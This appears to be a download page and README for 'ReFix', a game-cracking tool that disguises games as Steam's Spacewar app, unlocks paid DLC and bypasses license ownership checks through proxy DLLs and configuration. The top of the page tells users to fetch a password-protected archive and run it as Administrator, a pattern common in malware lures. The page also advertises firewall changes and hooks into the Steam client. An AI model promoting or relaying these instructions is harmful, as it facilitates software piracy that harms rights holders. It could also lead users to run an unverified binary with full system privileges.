⚡ All-in-one loader: The entire script is compiled into a single loader for your convenience — just download, extract, and run. No extra setup required.
- ⬇️ Download the tool from the button above.
- 📦 Extract the archive (password:
respocket). - 🖱️ Run as Administrator – right‑click the executable and select Run as Administrator.
- ✅ Follow the setup wizard – complete the installation.
- 🚀 Launch the Tool – the main window appears.
⚠️ Important: Official Distribution NoticeWe distribute our software only through MediaFire.
If the download link leads to any other file-sharing service, please do not download it — it may be an unofficial or modified copy.
For your safety, always use the official release.
This release was carefully prepared by the Respocket Team — with attention to every detail, a focus on stability, and respect for our users.
Thank you for choosing our software. Download only official versions and stay with us!
| Feature | ReFix v1.4.0 | OnlineFix (online-fix.me) | Goldberg Emulator (gbe_fork) | CODEX Steam Emu | SmartSteamEmu (SSE) |
|---|---|---|---|---|---|
| Open Source (Full C++ Source) | ✅ Yes (CC BY-NC-SA) | ❌ Closed / Obfuscated | ✅ Yes (GPL/MIT) | ❌ Closed Source | ❌ Closed / Abandoned |
| Steam Online Matchmaking (Spacewar 480) | ✅ Yes | ✅ Yes | ❌ No (LAN only) | ❌ No (Offline only) | ❌ No (LAN only) |
| 100% Offline LAN Play (No Steam Required) | ✅ Yes (gbe_fork) | ❌ No | ✅ Yes | ✅ Yes (Legacy LAN) | |
| Universal DLC Auto-Unlocker | ✅ Yes (SmokeAPI/CreamAPI) | ||||
| Interactive GUI Executable Picker | ✅ Yes (select_exe.ps1) |
❌ No | ❌ No | ❌ No | ❌ No |
| Smart Multi-Engine Detection (Unity/Unreal/Godot/Native) | ✅ Yes (Automated) | ❌ No | ❌ No | ❌ No | ❌ No |
| Modular Epic Online Services (EOS / RedboneEOS) | ✅ Yes (Modular v3) | ❌ No | ❌ No | ❌ No | |
| Automatic Windows Defender Firewall Rules | ✅ Yes | ❌ No | ❌ No | ❌ No | ❌ No |
| Steam Non-Steam Shortcut Auto-Injector | ✅ Yes (shortcuts.vdf) |
❌ No | ❌ No | ❌ No | ❌ No |
| Clean Zero-Trace Uninstaller & Game Restorer | ✅ Yes (1-Click) | ❌ No | ❌ No | ❌ No | ❌ No |
| Digitally Signed Binaries | ✅ Yes (BlueStar Developers) | ❌ No | ❌ No | ❌ No | ❌ No |
- Hooks straight into your running Steam client by masking your game under Valve's Spacewar (AppID 480).
- Lets you use real Steam infrastructure: global server lists, P2P NAT punch-through, Steam Relay, in-game invites, and the Shift+Tab overlay.
- Automatically injects the game's real AppID into lobby metadata so you only match with other players running the same game.
- Run
DLC_Unlocker.bat. - Select your game folder.
- Choose whether to unlock all DLCs, choose specific ones, or reset back to vanilla.
No stress! Just run Uninstall_ReFix.bat, select your game folder, and it will safely restore all original DLLs (.orig, _valve.dll, _o.dll), remove all proxies and configs, and leave your game completely untouched.
ReFix/
├── AutoDeploy.bat # 1-Click universal auto-deploy setup tool
├── DLC_Unlocker.bat # Universal DLC Unlocker (SmokeAPI / CreamAPI)
├── Uninstall_ReFix.bat # Zero-trace uninstaller & clean game restorer
├── build.bat # 1-Click MSVC build script for all C++ proxies
├── deploy.bat # Packaging script for releases
├── ReFix.ini # Central configuration template
├── README.md # Documentation & quick start guide
├── bin/ # Deployment binaries and helper scripts
│ ├── steam_api64.dll # ReFix Steamworks proxy (Signed)
│ ├── winmm.dll # Startup loader & overlay hook (Signed)
│ ├── EOSSDK-Win64-Shipping.dll # Epic Online Services auth proxy (Signed)
│ ├── RedboneEOS.dll # Redpoint EOS bridge proxy (Signed)
│ ├── ReFixSync.dll # Synchronization helper
│ ├── detect_game.ps1 # Smart engine and binary detector
│ ├── deploy_helper.ps1 # Deployment and configuration synchronizer
│ ├── select_dlcs.ps1 # Steam Store DLC scraper
│ ├── dlc_unlocker.ps1 # SmokeAPI/CreamAPI deployment manager
│ ├── select_folder.ps1 # GUI folder selection dialog
│ ├── select_exe.ps1 # GUI executable picker dialog
│ ├── apply_firewall.ps1 # Windows Defender Firewall helper
│ ├── add_steam_shortcut.ps1 # Steam shortcuts.vdf binary injector
│ ├── goldberg/ # Standalone Goldberg LAN emulator files
│ ├── bepinex/ # BepInEx runtime loader
│ └── tools/ # Steamless unpacking utilities
└── src/ # Complete C++ source code
├── winmm_proxy.cpp # winmm.dll loader & hooking entry point
├── steam_proxy.cpp # steam_api64.dll proxy & Steamworks wrapper
├── eos_proxy.cpp # Epic Online Services session & auth emulator
├── unreal_detect.cpp # Unreal Engine subsystem detection
├── unreal_steam_emu.cpp # Unreal Engine Steam adapter
├── upnp_firewall.cpp # Firewall automation routines
├── server_browser_gui.cpp # In-game ImGui server browser
├── include/ # Steamworks SDK headers
└── minhook/ # MinHook library
You can tweak game-specific behavior anytime by opening ReFix.ini in your game's directory:
[Game]
GameName=GenericGame ; Game title for logging and window titles
EngineType=Auto ; Auto | Unity | Unreal | Godot | Native
[Online]
Mode=valve ; valve (Steam Online 480) | goldberg (LAN Offline)
[Steam]
MaskAppId=480 ; Steam AppID used for masking (Default: Spacewar 480)
RealAppId= ; Real Steam AppID for DLCs and metadata (e.g. 550)
Language=english ; Game language
BypassLicenseCheck=true ; Allow running without Steam store ownership
DLCs=all ; all | none | comma-separated AppIDs
[Matchmaking]
EnableLobbyFilter=false ; Filter lobbies by custom metadata key
LobbyFilterKey=game_filter ; Metadata key for game filtering
LobbyFilterValue= ; Custom filter value (defaults to RealAppId)
LobbyDistanceFilter=Worldwide ; Close | Default | Far | Worldwide
MaxLobbyResults=50 ; Max lobbies to return in server browser
[Overlay]
EnableOverlay=true ; Enable Steam Shift+Tab overlay hook
OverlayAppId=480 ; AppID for overlay initialization
[EOS]
DeviceIdAuth=true ; Emulate Epic Online Services DeviceID login
[User]
Name=Player ; Custom player name (or leave empty for auto)
SteamId= ; Custom SteamID64 (or leave empty for auto)
[Network]
ListenPort=47584 ; UDP port for LAN discovery
CustomBroadcasts= ; Extra broadcast IPs for VPNs (comma-separated)- Windows 10 / 11 (64-bit)
- Visual Studio 2022 (Community, Professional, or Enterprise) with the Desktop development with C++ workload installed (includes MSVC v143 and MASM
ml64.exe).
Open a Developer Command Prompt for VS 2022 (x64) and simply run:
build.batbuild.bat takes care of the whole pipeline:
- Detects your MSVC environment automatically via
vswhere.exe. - Assembles the forwarding tables (
winmm_fwd.asm,eos_fwd.asm,steam_fwd.asm) usingml64.exe. - Builds
winmm.dll,EOSSDK-Win64-Shipping.dll,RedboneEOS.dll, andsteam_api64.dllwith full optimization (/O2 /EHsc /LD). - Outputs the finished binaries to
build/and copies them directly intobin/.
ReFix wouldn't be possible without the incredible work done by the open-source and modding communities:
Distributed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0) License.
- Share & Adapt: You're free to copy, modify, and build upon this project.
- Non-Commercial: Strictly for non-commercial and educational use. Keep it free!
- ShareAlike: If you distribute modified versions, keep them under this same open license.
See LICENSE for the full legal text.
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